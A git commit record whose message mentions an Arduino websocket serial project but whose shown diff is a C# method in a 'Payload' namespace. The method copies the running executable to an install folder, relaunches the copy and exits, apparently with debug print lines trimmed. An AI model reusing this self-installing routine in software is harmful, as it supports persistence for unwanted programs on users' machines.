arduino websocket serial project

This commit is contained in:
plane000
2018-07-21 20:09:38 +01:00
parent 593c1ff51b
commit 0dc8d7d56c
15 changed files with 2787 additions and 39 deletions

View File

@@ -39,30 +39,21 @@ namespace Payload {
public void Initialize() {
try {
Console.WriteLine("2");
if (Config.InstallPath == System.Reflection.Assembly.GetEntryAssembly().Location) {
return;
}
Console.WriteLine("3");
if (!Directory.Exists(Config.InstallFolder)) {
Directory.CreateDirectory(Config.InstallFolder);
}
Console.WriteLine("4");
try {
File.Copy(System.Reflection.Assembly.GetEntryAssembly().Location, Config.InstallPath, true);
} catch { }
Console.WriteLine("5");
Process.Start(Config.InstallPath);
Console.WriteLine("6");
Environment.Exit(0);
Console.WriteLine("7");
} catch (Exception e) {
Console.WriteLine(e);
}